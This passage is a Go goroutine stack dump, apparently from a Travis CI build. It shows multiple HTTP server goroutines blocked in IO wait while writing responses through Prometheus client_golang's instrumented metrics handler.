	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171de000, 0xc020e50f6f, 0x6e70f, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e0e8, 0xc020e50f6f, 0x6e70f, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc0000650e0, 0xc020e50f6f, 0x6e70f, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01d9e2200, 0xc020e50f6f, 0x6e70f, 0x96fa1, 0x1, 0xc000370d80, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ee498, 0xc020e50000, 0x6f67e, 0x97f10, 0xc0077c1898, 0x642e8e, 0xc000065168)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01d9e2300, 0xc020e50000, 0x6f67e, 0x97f10, 0x0, 0x0, 0xc0000869a0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ee460, 0x6f67e, 0xc020e50000, 0x6f67e, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0077c1a40, 0x569e03e9)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ee460, 0xc020e50000, 0x6f67e, 0x97f10, 0x77d4c0, 0xc00d259301, 0xc003a30c60)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc01e616190, 0xc020e50000, 0x6f67e, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e0f0, 0xc004eb8000)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e0f0, 0xc004eb8000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ee460, 0xc004eb8000)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ee460, 0xc004eb8000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ee460, 0xc004eb8000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ee460, 0xc004eb8000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc0000650e0, 0x88ea00, 0xc01d9e21c0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21283 [IO wait, 11 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ae060, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c3e18, 0x77, 0x5a200, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c3e00, 0xc019df6f6f, 0x6eb0c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c3e00, 0xc019df6f6f, 0x6eb0c, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000eac8, 0xc019df6f6f, 0x6eb0c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065400, 0xc019df6f6f, 0x6eb0c, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc013675900, 0xc019df6f6f, 0x6eb0c, 0x96fa1, 0x1, 0xc000370f00, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef1b8, 0xc019df6000, 0x6fa7b, 0x97f10, 0xc005e65898, 0x642e8e, 0xc000065488)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc0136759c0, 0xc019df6000, 0x6fa7b, 0x97f10, 0x0, 0x0, 0x7f506ee35c70)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef180, 0x6fa7b, 0xc019df6000, 0x6fa7b, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc005e65a40, 0x8af09d09)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef180, 0xc019df6000, 0x6fa7b, 0x97f10, 0x77d4c0, 0xc013661f01, 0xc00497c840)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0080a43c0, 0xc019df6000, 0x6fa7b, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000ead0, 0xc004eb9400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000ead0, 0xc004eb9400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef180, 0xc004eb9400)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015ef180, 0xc004eb9400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015ef180, 0xc004eb9400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015ef180, 0xc004eb9400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065400, 0x88ea00, 0xc0136758c0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21810 [IO wait, 5 minutes]:
internal/poll.runtime_pollWait(0x7f506e4ad910, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0193c2018, 0x77, 0x5c500, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0193c2000, 0xc02559ef6f, 0x70db0, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0193c2000, 0xc02559ef6f, 0x70db0, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000e080, 0xc02559ef6f, 0x70db0, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065900, 0xc02559ef6f, 0x70db0, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc00b67a440, 0xc02559ef6f, 0x70db0, 0x96fa1, 0x1, 0xc000371080, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc02121e038, 0xc02559e000, 0x71d1f, 0x97f10, 0xc003efb898, 0x642e8e, 0xc000065988)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc00b67a800, 0xc02559e000, 0x71d1f, 0x97f10, 0x0, 0x0, 0xc000086630)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc02121e000, 0x71d1f, 0xc02559e000, 0x71d1f, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc003efba40, 0x97c0988)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc02121e000, 0xc02559e000, 0x71d1f, 0x97f10, 0x77d4c0, 0xc025031901, 0xc001288580)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc018162c30, 0xc02559e000, 0x71d1f, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000e088, 0xc0073fa300)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000e088, 0xc0073fa300)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e000, 0xc0073fa300)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e000, 0xc0073fa300)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e000, 0xc0073fa300)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e000, 0xc0073fa300)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065900, 0x88ea00, 0xc00b67a400)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21101 [IO wait, 13 minutes]:
internal/poll.runtime_pollWait(0x7f50703b0618, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0000c3a18, 0x77, 0x59d00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0000c3a00, 0xc01fb14f6f, 0x6e5a5, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0000c3a00, 0xc01fb14f6f, 0x6e5a5, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000ea58, 0xc01fb14f6f, 0x6e5a5, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000064fa0, 0xc01fb14f6f, 0x6e5a5, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc01c6d03c0, 0xc01fb14f6f, 0x6e5a5, 0x96fa1, 0x1, 0xc000371200, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015eeab8, 0xc01fb14000, 0x6f514, 0x97f10, 0xc01d66d898, 0x642e8e, 0xc000065028)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc01c6d0480, 0xc01fb14000, 0x6f514, 0x97f10, 0x0, 0x0, 0x7f506f222758)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015eea80, 0x6f514, 0xc01fb14000, 0x6f514, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc01d66da40, 0x1ca6693c)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015eea80, 0xc01fb14000, 0x6f514, 0x97f10, 0x77d4c0, 0xc01b18e201, 0xc003a30000)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0169db590, 0xc01fb14000, 0x6f514, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000ea60, 0xc0145fcb00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000ea60, 0xc0145fcb00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015eea80, 0xc0145fcb00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015eea80, 0xc0145fcb00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015eea80, 0xc0145fcb00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015eea80, 0xc0145fcb00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000064fa0, 0x88ea00, 0xc01c6d0380)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21172 [IO wait, 12 minutes]:
internal/poll.runtime_pollWait(0x7f50703b02d8, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171df818, 0x77, 0x5a000, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171df800, 0xc02122af6f, 0x6e844, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171df800, 0xc02122af6f, 0x6e844, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000eaf8, 0xc02122af6f, 0x6e844, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065220, 0xc02122af6f, 0x6e844, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc019694280, 0xc02122af6f, 0x6e844, 0x96fa1, 0x1, 0xc000371380, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015eee38, 0xc02122a000, 0x6f7b3, 0x97f10, 0xc0077bd898, 0x642e8e, 0xc0000652a8)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc019694340, 0xc02122a000, 0x6f7b3, 0x97f10, 0x0, 0x0, 0x7f506f222758)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015eee00, 0x6f7b3, 0xc02122a000, 0x6f7b3, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0077bda40, 0xd3b3769e)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015eee00, 0xc02122a000, 0x6f7b3, 0x97f10, 0x77d4c0, 0xc007eb5301, 0xc003a318c0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc003a32cd0, 0xc02122a000, 0x6f7b3, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000eb00, 0xc004eb9e00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000eb00, 0xc004eb9e00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015eee00, 0xc004eb9e00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc0015eee00, 0xc004eb9e00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc0015eee00, 0xc004eb9e00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc0015eee00, 0xc004eb9e00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc000065220, 0x88ea00, 0xc019694240)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 22032 [IO wait, 2 minutes]:
internal/poll.runtime_pollWait(0x7f506e179480, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0193c2e98, 0x77, 0x5cf00, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0193c2e80, 0xc01b0c0f6f, 0x717b0, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0193c2e80, 0xc01b0c0f6f, 0x717b0, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000ef90, 0xc01b0c0f6f, 0x717b0, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc00742c000, 0xc01b0c0f6f, 0x717b0, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc006d44a80, 0xc01b0c0f6f, 0x717b0, 0x96fa1, 0x1, 0xc000371500, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc02121e118, 0xc01b0c0000, 0x7271f, 0x97f10, 0xc0065e1898, 0x642e8e, 0xc00742c088)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc006d44b40, 0xc01b0c0000, 0x7271f, 0x97f10, 0x0, 0x0, 0xc000087d90)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc02121e0e0, 0x7271f, 0xc01b0c0000, 0x7271f, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0065e1a40, 0xa159f35b)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc02121e0e0, 0xc01b0c0000, 0x7271f, 0x97f10, 0x77d4c0, 0xc01ccd1001, 0xc002a77a20)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc0080a49b0, 0xc01b0c0000, 0x7271f, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000efa0, 0xc0073fbe00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000efa0, 0xc0073fbe00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc02121e0e0, 0xc0073fbe00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:282 +0x22f
net/http.HandlerFunc.ServeHTTP(0xc00006ad20, 0x88da80, 0xc02121e0e0, 0xc0073fbe00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
net/http.(*ServeMux).ServeHTTP(0xb13800, 0x88da80, 0xc02121e0e0, 0xc0073fbe00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2375 +0x1d6
net/http.serverHandler.ServeHTTP(0xc00005f450, 0x88da80, 0xc02121e0e0, 0xc0073fbe00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2774 +0xab
net/http.(*conn).serve(0xc00742c000, 0x88ea00, 0xc006d44a40)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1878 +0x84c
created by net/http.(*Server).Serve
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:2884 +0x2f4

goroutine 21352 [IO wait, 10 minutes]:
internal/poll.runtime_pollWait(0x7f506e4add20, 0x77, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/runtime/netpoll.go:182 +0x56
internal/poll.(*pollDesc).wait(0xc0171dfd98, 0x77, 0x5a400, 0x82791, 0xffffffffffffffff)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:87 +0x9b
internal/poll.(*pollDesc).waitWrite(...)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_poll_runtime.go:96
internal/poll.(*FD).Write(0xc0171dfd80, 0xc02314ef6f, 0x6eccb, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/internal/poll/fd_unix.go:276 +0x26e
net.(*netFD).Write(0xc0171dfd80, 0xc02314ef6f, 0x6eccb, 0x96fa1, 0x1000, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/fd_unix.go:220 +0x4f
net.(*conn).Write(0xc00000ea30, 0xc02314ef6f, 0x6eccb, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/net.go:189 +0x69
net/http.checkConnErrorWriter.Write(0xc000065680, 0xc02314ef6f, 0x6eccb, 0x96fa1, 0x0, 0x0, 0x0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:3376 +0x56
bufio.(*Writer).Write(0xc005eeb040, 0xc02314ef6f, 0x6eccb, 0x96fa1, 0x1, 0xc000371680, 0x3)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*chunkWriter).Write(0xc0015ef298, 0xc02314e000, 0x6fc3a, 0x97f10, 0xc0094af898, 0x642e8e, 0xc000065708)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:382 +0x97
bufio.(*Writer).Write(0xc005eeb100, 0xc02314e000, 0x6fc3a, 0x97f10, 0x0, 0x0, 0xc01fff14a0)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/bufio/bufio.go:622 +0x146
net/http.(*response).write(0xc0015ef260, 0x6fc3a, 0xc02314e000, 0x6fc3a, 0x97f10, 0x0, 0x0, 0x4126c4, 0xc0094afa40, 0x7dc67e5a)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1574 +0x29f
net/http.(*response).Write(0xc0015ef260, 0xc02314e000, 0x6fc3a, 0x97f10, 0x77d4c0, 0xc00e5da701, 0xc00497da20)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1543 +0x56
github.com/prometheus/client_golang/prometheus.(*responseWriterDelegator).Write(0xc018162690, 0xc02314e000, 0x6fc3a, 0x97f10, 0x0, 0x0, 0x0)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:347 +0x5b
github.com/prometheus/client_golang/prometheus.UninstrumentedHandler.func1(0x88d4c0, 0xc00000ea40, 0xc021afba00)
	/home/travis/gopath/pkg/mod/github.com/prometheus/[email protected]/prometheus/http.go:107 +0x555
net/http.HandlerFunc.ServeHTTP(0x8207d8, 0x88d4c0, 0xc00000ea40, 0xc021afba00)
	/home/travis/.gimme/versions/go1.12.linux.amd64/src/net/http/server.go:1995 +0x44
github.com/prometheus/client_golang/prometheus.InstrumentHandlerFuncWithOpts.func1(0x88da80, 0xc0015ef260, 0xc021afba00)
